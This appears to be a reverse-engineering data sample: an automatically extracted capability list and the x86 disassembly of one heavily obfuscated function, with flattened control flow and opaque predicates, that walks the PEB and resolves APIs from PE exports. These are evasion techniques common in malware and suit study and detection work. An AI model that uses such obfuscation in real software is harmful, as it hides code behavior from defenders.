Function at 0x402010
Capabilities:
Access peb ldr_data
Authenticate hmac
Encode data using base64
Encode data using xor
Get number of processors
Get process filename
Inspect section memory permissions
Parse pe header
Resolve function by parsing pe exports

Disassembly:
push ebp
mov ebp, esp
push ebx
push edi
push esi
sub esp, 0x198
mov eax, dword [0x4a1840]
xor eax, ebp
mov dword [ebp - 0x10], eax
mov eax, dword [0x4a2b84]
lea esi, [eax + 1]
imul esi, eax
mov edx, esi
mov ecx, esi
xor ecx, 0x1506620f
mov eax, esi
not edx
or eax, 0xeaf99df0
and ecx, esi
mov esi, eax
and esi, 0x1f127055
and edx, 0x4020a
or edx, esi
mov esi, ecx
not esi
and ecx, 0xe0ed8faa
or eax, esi
and esi, 0x1f127055
or ecx, esi
not eax
xor ecx, edx
or eax, ecx
mov ecx, eax
not ecx
and eax, 0x2ff9e193
and ecx, 0xd0061e6c
or eax, ecx
mov esi, eax
mov ecx, eax
xor ecx, 0x41005022
xor esi, 0x3aff839c
xor eax, 0x722c9ab7
and eax, esi
and ecx, 0x51ebd33a
and esi, 0xae142cc5
or esi, ecx
mov edx, esi
xor edx, 0xae142cc5
xor esi, 0x502a9208
mov ecx, edx
and ecx, 0x48d3192b
or edx, 1
and esi, 0xd83ebe48
or eax, ecx
and edx, 0x27c141b7
mov ecx, eax
not ecx
or edx, esi
and eax, 0x48d3192a
and ecx, 0xb72ce6d5
xor edx, 0x27c141b7
or eax, ecx
mov ecx, dword [0x4a2b80]
or edx, eax
mov eax, edx
not eax
and edx, 0x49aee30f
and eax, 0xb6511cf0
or eax, edx
mov edx, eax
xor edx, 0x80100
xor eax, 0xb6511cf0
mov esi, eax
and esi, 0x69e7e6df
and edx, 0x96181920
or edx, esi
xor edx, 0x96181920
or edx, eax
mov eax, 0x46438255
cmp edx, 0xffffffff
sete byte [ebp - 0x6d]
cmp ecx, 0xa
setl byte [ebp - 0x6e]
jmp 0x402240
mov eax, dword [0x4a2b84]
lea ecx, [eax + 1]
imul ecx, eax
mov edx, ecx
not edx
and ecx, 0x62c63f72
and edx, 0x9d39c08d
or edx, ecx
mov eax, edx
mov ecx, edx
xor edx, 0x9d39c08c
xor eax, 0x62c63f72
xor ecx, 0x62c63f73
and ecx, eax
and edx, 0xfffffffe
and eax, 1
or eax, edx
mov edx, ecx
not edx
and ecx, 0xbdfe7d5a
mov esi, edx
and esi, 0x420182a5
or ecx, esi
mov esi, eax
not esi
and eax, 0xbdfe7d5a
or edx, esi
and esi, 0x420182a5
or eax, esi
not edx
mov esi, 0xc0ac34c1
xor eax, ecx
or edx, eax
mov eax, edx
not eax
and edx, 0x99a9cd2a
and eax, 0x665632d5
or eax, edx
mov ecx, eax
xor ecx, 0x1901482a
xor eax, 0x6563204
and ecx, 0x790148fb
and eax, 0x86feb704
or eax, ecx
cmp eax, 0x86feb704
sete dl
cmp dword [0x4a2b80], 0xa
setl al
mov ecx, eax
or al, dl
xor cl, dl
xor al, 1
or al, cl
mov ah, al
mov edx, eax
xor ah, 1
and dl, ah
mov ch, ah
xor dl, 1
xor ch, dl
or dl, ah
xor dl, 1
or dl, ch
mov ah, dl
and dl, cl
xor cl, 1
xor ah, 1
and ah, cl
or cl, al
or dl, ah
mov eax, ecx
xor al, dl
mov eax, 0xc531f5e3
cmovne eax, esi
test cl, cl
mov ecx, 0xc531f5e3
cmovne ecx, eax
test dl, dl
cmove ecx, eax
mov eax, ecx
nop word cs:[eax + eax]
cmp eax, 0x102abb3
jle 0x4022b0
cmp eax, 0x416e0c9a
jg 0x402430
cmp eax, 0x20e920dd
jg 0x402618
cmp eax, 0x1156c4d6
jle 0x402ac3
cmp eax, 0x1a8534ed
jg 0x402d81
cmp eax, 0x1874ee91
jg 0x4037e6
cmp eax, 0x12e31c6a
jle 0x404f46
cmp eax, 0x12e31c6b
je 0x408095
cmp eax, 0x13a9d5b3
je 0x4080a5
cmp eax, 0x159f4672
jne 0x402240
mov eax, 0xf99c95e
jmp 0x402240
cmp eax, 0xc5a4fdf3
jg 0x4025b0
cmp eax, 0x9df33acf
jle 0x402891
cmp eax, 0xb464c0a5
jle 0x402b0f
cmp eax, 0xc0ac34c0
jg 0x402dcd
cmp eax, 0xb8e7868b
jg 0x40384c
cmp eax, 0xb74918f5
jle 0x404f66
cmp eax, 0xb74918f6
je 0x4080af
cmp eax, 0xb81aa2ca
je 0x4080c2
cmp eax, 0xb82ac5a8
jne 0x402240
mov eax, dword [0x4a2b84]
lea ecx, [eax + 1]
imul ecx, eax
mov eax, ecx
xor eax, 0x92cf4900
and eax, ecx
not ecx
or ecx, eax
not eax
and eax, 0x6d30b6ff
and ecx, 0x92cf4900
or ecx, eax
mov eax, ecx
xor eax, 1
mov edx, ecx
not edx
and eax, ecx
and edx, 0xcf05409b
and ecx, 0x30fabf64
or ecx, edx
xor ecx, 0x30fabf65
or ecx, eax
mov edx, ecx
xor edx, 0xa4c67d64
mov eax, ecx
and eax, 0x80c03c44
and edx, ecx
not ecx
and ecx, 0x24064120
or eax, ecx
mov ecx, eax
xor ecx, 0x80400c04
xor eax, 0x7f3fc3bb
mov esi, eax
and esi, 0x659bb063
and ecx, 0x80444d04
or ecx, esi
mov esi, edx
not esi
and edx, 0x9a644f9c
or eax, esi
and esi, 0x659bb063
or edx, esi
not eax
mov esi, 0x29b9f4d0
xor edx, ecx
or eax, edx
mov ecx, eax
not ecx
and eax, 0x89de82e3
and ecx, 0x76217d1c
or eax, ecx
mov ecx, eax
xor ecx, 0x4108c02
xor eax, 0xd0a30058
and ecx, 0x6548c22
and eax, 0xf9ab73dd
or eax, ecx
xor eax, 0xf9ab73dd
sete dl
setne cl
cmp dword [0x4a2b80], 0xa
setge ah
setl al
mov ch, ah
xor cl, ah
xor al, dl
xor ch, dl
xor cl, 1
and ch, ah
mov edx, ecx
or al, ch
or dl, al
xor al, cl
mov ecx, edx
xor cl, al
mov ecx, 0x5e88a2d2
cmovne ecx, esi
test al, al
mov esi, 0x5e88a2d2
jmp 0x405185
cmp eax, 0x60d08ab2
jle 0x4028e8
cmp eax, 0x6e4989f2
jle 0x402b8b
cmp eax, 0x738ab1bc
jg 0x402e0e
cmp eax, 0x7111a479
jg 0x403993
cmp eax, 0x6ee486e4
jle 0x40504b
cmp eax, 0x6ee486e5
je 0x4080e5
cmp eax, 0x6f301d8b
je 0x4080fa
cmp eax, 0x70527cbc
jne 0x402240
mov eax, dword [0x4a2b84]
lea edx, [eax + 1]
imul edx, eax
mov ecx, edx
xor ecx, 0x47edf8e7
mov eax, edx
and eax, 0x13c43363
and ecx, edx
not edx
and edx, 0xec3bcc9c
or eax, edx
mov edx, eax
xor eax, 0x4429c884
xor edx, 0x3443000
or eax, 0xb8120718
and edx, 0x74c3804
mov esi, eax
and esi, 0x68a1c1e3
or edx, esi
mov esi, ecx
not esi
and ecx, 0x975e3e1c
or eax, esi
and esi, 0x68a1c1e3
or ecx, esi
not eax
xor ecx, edx
or eax, ecx
mov ecx, eax
not ecx
and eax, 0xbe2233d4
and ecx, 0x41ddcc2b
or eax, ecx
mov edx, eax
xor edx, 0xf9cfcb33
xor eax, 0x63034cc
mov ecx, eax
mov esi, edx
or ecx, 1
and eax, 0xfffffffe
and esi, 1
and edx, 0xc1dbddc6
or esi, eax
mov eax, ecx
and eax, 0x3e242238
or edx, eax
mov eax, esi
not eax
and esi, 0xc1dbddc7
or ecx, eax
and eax, 0x3e242238
or esi, eax
not ecx
xor esi, edx
or ecx, esi
mov esi, 0x10fd536a
mov eax, ecx
not eax
and ecx, 0x558ffc17
and eax, 0xaa7003e8
or ecx, eax
cmp ecx, 0x558ffc17
setne cl
cmp dword [0x4a2b80], 0xa
mov eax, ecx
setge ah
setl dl
inc al
mov ch, ah
xor ch, cl
or cl, ah
mov ah, dl
or ah, al
xor al, dl
and cl, ch
xor ah, 1
mov edx, ecx
or al, ah
xor dl, 1
mov ah, al
not ah
and ah, dl
or dl, al
and al, cl
or al, ah
mov ecx, edx
xor cl, al
test cl, 1
mov ecx, 0x219f41e4
cmovne ecx, esi
test al, al
mov esi, 0x219f41e4
jmp 0x40c8e2
cmp eax, 0xe4559993
jle 0x40295b
cmp eax, 0xf7626d20
jle 0x402bd7
cmp eax, 0xfd486c1e
jg 0x402f3f
cmp eax, 0xfb166bb4
jg 0x403a8f
cmp eax, 0xf8b0dcb3
jle 0x405092
cmp eax, 0xf8b0dcb4
je 0x408104
cmp eax, 0xfa15242f
je 0x408199
cmp eax, 0xfada1ead
jne 0x402240
mov eax, dword [ebp - 0x4c]
mov eax, dword [ebp - 0x38]
mov eax, 0xd3e8181f
jmp 0x402240
cmp eax, 0x2e1527d3
jle 0x402c2f
cmp eax, 0x3a69805d
jle 0x4030ac
cmp eax, 0x3d8f2b00
jg 0x403bb9
cmp eax, 0x3b24e84f
jle 0x405194
cmp eax, 0x3b24e850
je 0x4082ec
cmp eax, 0x3b732f5f
je 0x40830d
cmp eax, 0x3c434a29
jne 0x402240
mov eax, dword [ebp - 0xe4]
mov eax, dword [eax + 0x1c]
mov dword [ebp - 0x13c], eax
mov eax, dword [0x4a2b84]
lea edx, [eax + 1]
imul edx, eax
mov ecx, edx
xor ecx, 0x26ef523f
mov eax, edx
and eax, 0x7870ef34
and ecx, edx
not edx
and edx, 0x878f10cb
mov esi, ecx
not esi
and ecx, 0xd0cc9f45
or eax, edx
mov edx, eax
xor eax, 0x68f100b
xor edx, 0x400204
or eax, 0xd910adc0
and edx, 0xcc1205
mov edi, eax
or eax, esi
and edi, 0x2f3360ba
and esi, 0x2f3360ba
or edx, edi
or ecx, esi
not eax
xor ecx, edx
or eax, ecx
mov ecx, eax
not ecx
and eax, 0x464a74b3
and ecx, 0xb9b58b4c
or eax, ecx
mov esi, eax
mov ecx, eax
xor ecx, 0x811ad070
xor esi, 0x60a5268c
xor eax, 0xc6b13178
and eax, esi
and ecx, 0xa19ed278
and esi, 0x5e612d87
or esi, ecx
mov edx, esi
xor esi, 0xa19ed278
xor edx, 0x5e612d87
mov ecx, esi
or ecx, 0x59ebe80b
mov ebx, edx
and ebx, 0x26040694
and esi, 0xca2dc007
mov edi, ecx
and edi, 0x8818d169
or ebx, edi
mov edi, eax
not edi
and eax, 0x77e72e96
or ecx, edi
and edi, 0x8818d169
or eax, edi
not ecx
xor eax, ebx
or ecx, eax
not eax
and eax, 0x59ebe80a
and ecx, 0xa61417f5
or ecx, eax
mov eax, edx
and eax, 0x35d23ff8
and edx, 1
or eax, esi
mov esi, eax
xor esi, 0xc829c006
xor eax, 0x123900
or edx, esi
and eax, 0x2163900
and edx, 0xfde9c6ff
or edx, eax
mov eax, ecx
not eax
and ecx, 0x1cdf2df4
mov esi, eax
and esi, 0xe320d20b
or ecx, esi
mov esi, edx
xor esi, 0x1cc904f4
xor edx, 0x2163900
or eax, edx
and edx, 0xe320d20b
and esi, 0x1cdf2df4
or esi, edx
not eax
xor esi, ecx
or eax, esi
mov esi, 0xa6096d27
mov edx, eax
not edx
mov ecx, eax
and ecx, 0x46df9482
andn eax, eax, eax
and edx, 0xb9206b7d
or ecx, edx
xor ecx, 0x46df9482
or eax, ecx
mov ecx, eax
not ecx
and eax, 0x733acc1
and ecx, 0xf8cc533e
or eax, ecx
mov ecx, eax
xor ecx, 0x313ac81
xor eax, 0x38445206
and eax, 0x3c645246
and ecx, 0xc39badb9
or ecx, eax
xor ecx, 0xc39badb9
setne dl
sete ch
cmp dword [0x4a2b80], 0xa
setge al
setl cl
mov ah, al
and cl, dl
xor ah, ch
and ch, al
or cl, ch
mov ch, dl
xor ah, 1
xor ch, al
or al, dl
xor al, 1
or al, ah
xor al, 1
or al, ch
mov ah, al
xor ah, 1
mov dl, ah
and dl, al
xor ah, dl
xor dl, 1
or dl, al
xor dl, 1
or dl, ah
mov ah, cl
mov al, dl
xor ah, 1
xor al, 1
and dl, ah
and cl, al
or ah, al
or cl, dl
mov ch, ah
xor ch, cl
test ah, 1
mov eax, 0x27def273
cmovne eax, esi
test cl, cl
cmove eax, esi
test ch, 1
mov ecx, 0x27def273
cmove eax, ecx
jmp 0x402240
cmp eax, 0x90935cf4
jg 0x402c7b
cmp eax, 0x8803e885
jle 0x403197
cmp eax, 0x8ef7a22f
jg 0x403bef
cmp eax, 0x8baa4d24
jle 0x405ac9
cmp eax, 0x8baa4d25
je 0x408325
cmp eax, 0x8cc4e918
je 0x4083c4
cmp eax, 0x8ebd1b19
jne 0x402240
mov eax, 0xfbca10a6
jmp 0x402240
cmp eax, 0x52f511c3
jg 0x402cdb
cmp eax, 0x470b8ed9
jle 0x4032d4
cmp eax, 0x4e875092
jg 0x403c36
cmp eax, 0x4b5f1e7f
jle 0x405c00
cmp eax, 0x4b5f1e80
je 0x408a56
cmp eax, 0x4d4931ed
je 0x408a6f
cmp eax, 0x4e3dd9fe
jne 0x402240
mov eax, dword [ebp - 0x118]
mov eax, dword [eax]
mov ecx, dword [ebp - 0xc8]
add eax, dword [ebp - 0xc8]
mov ecx, dword [ebp - 0x60]
mov dword [ecx], eax
mov eax, dword [ebp - 0x48]
mov eax, 0xd0170978
jmp 0x402240
cmp eax, 0xd169063b
jg 0x402d32
cmp eax, 0xca53eaee
jle 0x4033e9
cmp eax, 0xcd20b099
jg 0x403c78
cmp eax, 0xcb5a400c
jle 0x405c2c
cmp eax, 0xcb5a400d
je 0x408a9e
cmp eax, 0xcb6e93d2
je 0x408ab3
cmp eax, 0xcc9a4cbc
jne 0x402240
mov eax, dword [0x4a2b84]
lea ecx, [eax + 1]
imul ecx, eax
mov edx, ecx
mov eax, ecx
not edx
or eax, 1
mov edi, edx
mov esi, eax
and esi, 0x96c7b144
and edi, 0x69384eba
and edx, 0x50ff4a42
or edi, esi
mov esi, ecx
xor esi, 0xfffffffe
and esi, ecx
and ecx, 0xaf00b5bd
mov ebx, esi
not ebx
and esi, 0x69384ebb
or ecx, edx
or eax, ebx
and ebx, 0x96c7b144
or esi, ebx
not eax
xor esi, edi
or eax, esi
mov esi, eax
not esi
and eax, 0xd2e2e6ba
and esi, 0x2d1d1945
or eax, esi
mov esi, eax
xor esi, 0x42204402
xor eax, 0x2d1d1945
mov edx, eax
and edx, 0x9dcababc
and esi, 0x62354543
or esi, edx
mov edx, ecx
xor edx, 0x22000501
xor ecx, 0x50ff4a42
or eax, ecx
and ecx, 0x9dcababc
and edx, 0x62354543
or edx, ecx
not eax
xor edx, esi
or eax, edx
mov ecx, eax
not ecx
and eax, 0x7c22dd3c
and ecx, 0x83dd22c3
or eax, ecx
xor eax, 0x7c22dd3c
setne dl
sete ah
cmp dword [0x4a2b80], 0xa
mov al, dl
setl ch
setge cl
and dl, ch
and al, cl
and ch, ah
or ch, al
mov al, ch
xor al, cl
and cl, ah
or cl, dl
and al, ch
mov edx, eax
mov ah, cl
xor dl, 1
xor ah, 1
and al, ah
and cl, dl
or ah, dl
mov edx, 0xbefb334
or al, cl
mov cl, ah
xor cl, al
test cl, 1
mov ecx, 0x8f55f159
cmovne ecx, edx
test ah, ah
mov edx, 0x8f55f159
cmovne edx, ecx
test al, al
jmp 0x40cdbe
cmp eax, 0x9a9ce50
jle 0x40342a
cmp eax, 0xc2de81f
jg 0x403d70
cmp eax, 0xae85815
jle 0x405d5f
cmp eax, 0xae85816
je 0x408abd
cmp eax, 0xaf96461
je 0x408ac7
cmp eax, 0xbefb334
jne 0x402240
mov eax, 0xcc9a4cbc
jmp 0x402240
cmp eax, 0xac0388d2
jle 0x40356d
cmp eax, 0xb00407dd
jg 0x403da6
cmp eax, 0xae9d12b2
jle 0x405d7f
cmp eax, 0xae9d12b3
je 0x408ad1
cmp eax, 0xaea9901e
je 0x408b83
cmp eax, 0xaf324190
jne 0x402240
mov eax, dword [ebp - 0x8c]
mov eax, dword [ebp - 0x18]
mov eax, dword [eax]
mov ecx, dword [ebp - 0x60]
mov ecx, dword [ecx]
mov edx, dword [ebp - 0x48]
mov edx, dword [edx]
lea edx, [edx + edx*4]
add eax, dword [ecx + edx*4 + 0x10]
mov ecx, dword [ebp - 0x8c]
mov dword [ecx], eax
mov eax, dword [ebp - 0x3c]
mov eax, dword [ebp - 0x3c]
mov dword [eax], 0
mov eax, 0x70527cbc
jmp 0x402240
cmp eax, 0x65859452
jle 0x4035b4
cmp eax, 0x6913b462
jg 0x403ef2
cmp eax, 0x669a844e
jle 0x405da8
cmp eax, 0x669a844f
je 0x408ccd
cmp eax, 0x6825c17a
je 0x408cda
cmp eax, 0x68459323
jne 0x402240
mov eax, 0xce73effe
jmp 0x402240
cmp eax, 0xeee7b77b
jle 0x40362d
cmp eax, 0xf2e5ee33
jg 0x403f36
cmp eax, 0xf01f9cb4
jle 0x405dd7
cmp eax, 0xf01f9cb5
je 0x408ce7
cmp eax, 0xf0472b84
je 0x408cf1
cmp eax, 0xf0a2a273
jne 0x402240
cmp byte [ebp - 0x76], 0
mov eax, 0xc21dee7e
mov ecx, 0x65859453
cmovne eax, ecx
jmp 0x402240
cmp eax, 0x24148ce9
jle 0x4036b5
cmp eax, 0x29b9f4cf
jg 0x403f6c
cmp eax, 0x254cba80
jle 0x405e1d
cmp eax, 0x254cba81
je 0x408d17
cmp eax, 0x258dddf4
je 0x408dfc
cmp eax, 0x27def273
jne 0x402240
mov eax, 0xd7d71719
jmp 0x402240
cmp eax, 0x93eb04e9
jle 0x4036f6
cmp eax, 0x976dc615
jg 0x404109
cmp eax, 0x94a693d5
jle 0x405e49
cmp eax, 0x94a693d6
je 0x408e12
cmp eax, 0x96a31c19
je 0x408e26
cmp eax, 0x96e86f17
jne 0x402240
mov eax, dword [ebp - 0xa4]
mov ecx, dword [ebp - 0xe8]
mov dword [eax], ecx
mov eax, dword [ebp - 0xa4]
mov eax, 0x995f5204
jmp 0x402240
cmp eax, 0x57b33fff
jle 0x403741
cmp eax, 0x5cf3cd7c
jg 0x40414b
cmp eax, 0x59b016ba
jle 0x405e82
cmp eax, 0x59b016bb
je 0x408e3b
cmp eax, 0x59db8b5d
je 0x408e45
cmp eax, 0x5c62b780
jne 0x402240
mov eax, dword [ebp - 0x28]
mov eax, dword [eax]
mov dword [ebp - 0x98], eax
mov eax, 0x302b210f
jmp 0x402240
cmp eax, 0xdb2b5485
jle 0x40378e
cmp eax, 0xe0dcea9d
jg 0x40418f
cmp eax, 0xdd96a06d
jle 0x40608d
cmp eax, 0xdd96a06e
je 0x408e78
cmp eax, 0xddc09c0b
je 0x4094af
cmp eax, 0xdfd57cf2
jne 0x402240
mov eax, dword [ebp - 0x5c]
mov eax, 0x11a970f5
jmp 0x402240
cmp eax, 0x1dbb5060
jg 0x40427f
cmp eax, 0x1d840815
jle 0x4060bc
cmp eax, 0x1d840816
je 0x4094b9
cmp eax, 0x1da800dc
je 0x4094cc
cmp eax, 0x1dae0b1c
jne 0x402240
mov eax, dword [ebp - 0x14]
mov eax, dword [eax]
mov dword [ebp - 0xe0], eax
mov eax, 0x52f511c4
jmp 0x402240
cmp eax, 0xc413fc06
jg 0x4042be
cmp eax, 0xc29a4344
jle 0x4060df
cmp eax, 0xc29a4345
je 0x4094ea
cmp eax, 0xc2cc8c12
je 0x4094fd
cmp eax, 0xc2d0bad6
jne 0x402240
mov eax, 0x3ddb4027
jmp 0x402240
cmp eax, 0x794d1c42
jg 0x4042f4
cmp eax, 0x74d45f06
jle 0x406162
cmp eax, 0x74d45f07
je 0x409510
cmp eax, 0x75cc6ef4
je 0x409527
cmp eax, 0x76c0281e
jne 0x402240
mov ecx, dword [0x4a2b84]
lea eax, [ecx + 1]
imul eax, ecx
mov edx, eax
not edx
mov ecx, eax
and ecx, 0xd483428e
mov esi, edx
and esi, 0x2b7cbd70
and edx, 0x7fc62a0a
or ecx, esi
mov esi, ecx
xor esi, 0x1483400a
xor ecx, 0x2b7cbd71
mov edi, ecx
and edi, 0xea00aff5
and esi, 0x15ff500a
or esi, edi
mov edi, eax
xor edi, 0xfffffffe
and edi, eax
and eax, 0x8039d5f5
mov ebx, edi
not ebx
and edi, 0x15ff500a
or eax, edx
or ecx, ebx
and ebx, 0xea00aff5
mov edx, eax
xor edx, 0x8039d5f5
xor eax, 0x7fc62a0a
or edi, ebx
not ecx
xor edi, esi
mov esi, 0x93eb04ea
or ecx, edi
mov edi, 0xa62215df
andn edx, ecx, edx
and eax, ecx
not ecx
or eax, edx
xor ecx, eax
test ecx, eax
setne al
cmp dword [0x4a2b80], 0xa
mov ecx, eax
setge ah
setl dl
inc cl
and al, cl
xor al, 1
mov ch, al
or al, cl
xor ch, cl
xor al, 1
or al, ch
mov ch, al
xor al, 1
and al, ah
and ch, dl
mov ah, dl
or al, ch
xor ah, cl
or cl, dl
xor al, 1
xor ah, 1
mov edx, eax
or al, cl
xor dl, cl
xor al, 1
or al, dl
mov ecx, eax
or al, ah
xor cl, ah
mov edx, eax
xor dl, cl
test dl, 1
cmovne edi, esi
test al, 1
mov eax, 0xa62215df
cmovne eax, edi
test cl, 1
cmove eax, edi
jmp 0x402240
cmp eax, 0xff2db860
jg 0x404351
cmp eax, 0xfdd5e4a6
jle 0x40619d
cmp eax, 0xfdd5e4a7
je 0x409531
cmp eax, 0xfe2c0615
je 0x40956c
cmp eax, 0xfed5875a
jne 0x402240
mov eax, dword [0x4a2b84]
lea edx, [eax + 1]
imul edx, eax
mov eax, edx
andn ecx, edx, edx
not edx
and eax, 0x208ee035
and edx, 0xdf711fca
or eax, edx
mov edx, eax
xor edx, 0xaa001
xor eax, 0xdf711fca
mov esi, eax
and esi, 0x35d55db4
and edx, 0xca2aa24b
or edx, esi
mov esi, ecx
not esi
and ecx, 0xca2aa24b
or eax, esi
and esi, 0x35d55db4
or ecx, esi
not eax
xor ecx, edx
or eax, ecx
mov ecx, eax
xor ecx, 1
mov edx, eax
not edx
and ecx, eax
and edx, 0xfffffffe
and eax, 1
or eax, edx
or eax, ecx
mov ecx, eax
not ecx
mov esi, eax
and esi, 0x40010088
and eax, 0xac47a64
mov edx, ecx
and edx, 0xb02a0500
or ecx, 0xe0210008
or esi, edx
and ecx, 0xe531801b
mov edx, esi
xor edx, 0x80
xor esi, 0xa5308013
or eax, ecx
and esi, 0xe531801b
and edx, 0x100a0580
or edx, esi
mov esi, 0xbdb1960a
xor eax, edx
mov ecx, eax
not ecx
and eax, 0x82c4862c
and ecx, 0x7d3b79d3
or eax, ecx
mov ecx, eax
xor ecx, 0x2cb0100
xor eax, 0x8500144b
and eax, 0xf52496ef
and ecx, 0xadb6910
or ecx, eax
xor ecx, 0xf52496ef
setne cl
sete dl
cmp dword [0x4a2b80], 0xa
mov ch, cl
setl ah
setge al
and cl, ah
and ch, al
and ah, dl
or ah, ch
mov ch, ah
xor ch, al
and al, dl
and ch, ah
or al, cl
mov cl, ch
xor cl, al
or al, ch
xor al, 1
or al, cl
mov edx, eax
xor dl, cl
test dl, 1
mov edx, 0x46448661
cmovne edx, esi
test al, 1
mov eax, 0x46448661
jmp 0x40da10
cmp eax, 0x35badffc
jg 0x4043a5
cmp eax, 0x308c6cfc
jle 0x4061bd
cmp eax, 0x308c6cfd
je 0x4096be
cmp eax, 0x30f2db5f
je 0x4096d1
cmp eax, 0x34ca806c
jne 0x402240
mov eax, dword [0x4a2b84]
lea ecx, [eax + 1]
imul ecx, eax
mov eax, ecx
not eax
mov esi, ecx
and esi, 0xceb3a776
mov edx, eax
and edx, 0x314c5888
and eax, 0x7fe2099a
or esi, edx
mov edx, ecx
xor edx, 0xfffffffe
xor esi, 0xceb3a776
and edx, ecx
or edx, esi
mov esi, edx
not esi
mov edi, edx
or edx, ecx
and ecx, 0x801df665
and edi, 0x801df665
and esi, 0x7fe2099a
or eax, ecx
not edx
or esi, edi
xor eax, esi
mov esi, 0x96e86f17
or edx, eax
xor edx, 0xffffffff
sete ah
setne dl
cmp dword [0x4a2b80], 0xa
setl cl
setge al
and cl, ah
mov ah, dl
and ah, al
or cl, ah
xor cl, 1
or cl, al
xor al, dl
xor cl, 1
mov edx, ecx
xor dl, al
or al, cl
xor al, 1
or al, dl
mov ecx, eax
xor cl, dl
test al, 1
mov eax, 0x995f5204
cmovne eax, esi
test dl, 1
mov edx, 0x995f5204
cmove eax, esi
test cl, 1
cmove eax, edx
jmp 0x402240
cmp eax, 0x851f4496
jle 0x404510
cmp eax, 0x85bc9168
jle 0x406314
cmp eax, 0x85bc9169
je 0x4096f1
cmp eax, 0x87ececda
je 0x40970f
cmp eax, 0x87f2f6e8
jne 0x402240
mov eax, dword [0x4a2b84]
lea ecx, [eax + 1]
imul ecx, eax
mov eax, ecx
not eax
mov esi, ecx
and esi, 0x661c2d3
mov edx, eax
and edx, 0xf99e3d2c
and eax, 0x7e4b357a
or esi, edx
mov edx, esi
not edx
and esi, 0x6a7a108a
and edx, 0x9585ef75
or esi, edx
mov edx, esi
xor edx, 0x80400825
xor esi, 0x6410c050
and esi, 0x77b4e5d2
and edx, 0x884b1a2d
or edx, esi
mov esi, edx
xor esi, 0x84b1028
xor edx, 0x77b4e5d2
mov edi, edx
or edx, ecx
and ecx, 0x81b4ca85
and edi, 0x81b4ca85
and esi, 0x7e4b357a
or esi, edi
or eax, ecx
not edx
xor eax, esi
mov esi, 0x57b34000
or edx, eax
mov eax, edx
not eax
and edx, 0x6cb30442
and eax, 0x934cfbbd
or edx, eax
xor edx, 0x6cb30442
setne ah
sete ch
cmp dword [0x4a2b80], 0xa
mov dh, ah
setge al
setl dl
xor dh, al
or ch, al
xor dl, ah
mov cl, dh
xor ch, 1
and cl, al
or al, ah
mov ah, dl
xor al, 1
or cl, ch
or al, dh
xor ah, al
or al, dl
mov edx, ecx
xor al, 1
xor dl, 1
or al, ah
mov ah, cl
and ah, al
xor al, 1
and dl, al
or dl, ah
mov ah, cl
xor ah, al
or al, cl
xor al, 1
or al, ah
mov ecx, eax
xor cl, dl
test cl, 1
mov ecx, 0xb123213f
cmovne ecx, esi
test al, 1
mov eax, 0xb123213f
jmp 0x40bc77
cmp eax, 0x454b1ddf
jle 0x404548
cmp eax, 0x46438254
jle 0x40634f
cmp eax, 0x46438255
je 0x409722
cmp eax, 0x46448661
je 0x409790
cmp eax, 0x46d8d6aa
jne 0x402240
mov ecx, dword [0x4a2b84]
lea eax, [ecx + 1]
imul eax, ecx
mov ecx, eax
not ecx
mov edx, eax
or edx, 0x4b0a396
mov esi, ecx
mov edi, ecx
or esi, 0x450c48
and edx, 0x4f5afde
and edi, 0xc8085001
and ecx, 0xa53243f1
or edi, edx
mov edx, eax
and esi, 0x4f5afde
and edx, 0x33020020
and eax, 0x5acdbc0e
or edx, esi
or eax, ecx
xor edx, edi
mov ecx, eax
xor ecx, 0x5acdbc0e
xor eax, 0xa53243f1
mov esi, edx
not esi
and edx, 0xc84d5c48
and esi, 0x37b2a3b7
or edx, esi
mov esi, 0x12e31c6b
andn ecx, edx, ecx
and eax, edx
not edx
or eax, ecx
not eax
or eax, edx
xor eax, 0xffffffff
sete dl
setne ah
cmp dword [0x4a2b80], 0xa
setge al
setl ch
mov cl, al
xor al, ah
and ah, ch
or ch, dl
xor al, 1
and cl, dl
mov edx, eax
or al, ch
or cl, ah
xor dl, ch
xor al, 1
mov ah, cl
or al, dl
xor ah, al
xor al, 1
mov edx, eax
or al, cl
xor ah, 1
xor al, 1
xor dl, cl
or al, ah
mov ecx, eax
xor cl, dl
test cl, 1
mov ecx, 0xfe2c0615
cmovne ecx, esi
test al, 1
mov eax, 0xfe2c0615
jmp 0x40bc77
cmp eax, 0xc7ad79a8
jle 0x404582
cmp eax, 0xc9716569
jle 0x40636f
cmp eax, 0xc971656a
je 0x409862
cmp eax, 0xc9be5284
je 0x40986c
cmp eax, 0xca353658
jne 0x402240
mov eax, 0x1d840816
jmp 0x402240
cmp eax, 0x5e22b9b
jle 0x4046c0
cmp eax, 0x9277210
jle 0x4063a0
cmp eax, 0x9277211
je 0x409876
cmp eax, 0x92b86d1
je 0x409880
cmp eax, 0x9a876be
jne 0x402240
mov ecx, dword [0x4a2b84]
lea eax, [ecx + 1]
imul eax, ecx
mov ecx, eax
not ecx
mov edx, eax
and edx, 0x4c06781c
and eax, 0xb14887c1
and ecx, 0x2b10022
or edx, ecx
xor edx, 0x4c06781c
or eax, edx
mov ecx, eax
not ecx
and eax, 0xd0348eab
and ecx, 0x2fcb7154
or eax, ecx
mov ecx, eax
mov edx, eax
xor eax, 0x617c096a
xor ecx, 0x9e83f695
xor edx, 0x9e83f694
and edx, ecx
and eax, 0xfffffffe
and ecx, 1
or ecx, eax
mov eax, edx
not eax
and edx, 0xe24a19e1
mov esi, eax
and esi, 0x1db5e61e
or edx, esi
mov esi, ecx
not esi
and ecx, 0xe24a19e1
or eax, esi
and esi, 0x1db5e61e
or ecx, esi
not eax
mov esi, 0xd169063c
xor ecx, edx
or eax, ecx
mov edx, eax
not edx
mov ecx, eax
and ecx, 0xf8e16053
andn eax, eax, eax
and edx, 0x71e9fac
or ecx, edx
xor ecx, 0xf8e16053
or eax, ecx
setne dl
sete ah
cmp dword [0x4a2b80], 0xa
mov ecx, edx
setl ch
setge al
and cl, al
and ch, ah
xor dl, al
or ch, cl
and dl, ah
mov cl, ch
xor cl, al
or al, ah
xor al, 1
and cl, ch
or al, dl
mov edx, ecx
xor cl, al
xor dl, 1
xor al, 1
or al, dl
mov edx, eax
xor dl, cl
test al, al
mov eax, 0x920dfb79
cmovne eax, esi
test cl, cl
not dl
mov ecx, 0x920dfb79
cmove eax, esi
test dl, 1
cmovne eax, ecx
jmp 0x402240
cmp eax, 0xa39fc151
jle 0x4046eb
cmp eax, 0xa6096d26
jle 0x406495
cmp eax, 0xa6096d27
je 0x409895
cmp eax, 0xa62215df
je 0x4098a5
cmp eax, 0xaad0e91b
jne 0x402240
mov eax, dword [ebp - 0xa8]
mov eax, 0x7cabb319
jmp 0x402240
